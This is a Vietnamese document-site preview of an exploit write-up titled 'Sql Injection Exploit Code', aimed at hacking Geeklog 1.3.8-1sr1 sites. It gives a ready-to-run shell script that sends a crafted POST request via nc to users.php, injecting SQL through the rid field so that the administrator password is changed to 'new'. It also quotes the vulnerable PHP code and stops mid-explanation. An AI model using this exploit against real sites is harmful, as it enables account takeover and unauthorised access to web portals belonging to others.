Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (33.78 KB, 2 trang )
Sql Injection Exploit Code
trang này đã được đọc lần
hack site Geeklog version 1.3.8-1sr1
Đôi nét về greedlog.net
/>Đây là một dạng portal download free dùng rất nhiều cho site tin tức vvvv khá phổ biến. Lỗi sql injection được
tìm thấy trong file users.php
2.code khai thác
Exploit:
#!/bin/sh
echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded
mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&" | nc localhost 80
This should change the Admin user's password to "new". You have to change the /path/to/gl/users.php
according to your Geeklog installation.
Immune systems:
* Geeklog version 1.3.8-1sr2
The below exploit uses the "forgot password" feature introduced in Geeklog 1.3.8. By constructing a certain
kind of HTTP request, an attacker can change any user's Geeklog password, including the administrator
password. This is because an SQL injection problem. In users.php we have this kind of code (line about 750):
if (!empty($uid) && is_numeric($uid) && !empty($reqid)) {
$valid = DB_count($_TABLES['users'], arrary('uid', 'pwrequestid'),
array($uid, $reqid));
if ($valid==1) {
// generate an md5 hash for the new password and change it
} else {
// invalid request, display error message
}
}
The database module layer hides the actual SQL queries and this does not look very clear yet, but if we log all
SQL queries executed, we see that the above code produces this SQL (with e.g. $uid=2 and $reqid=3):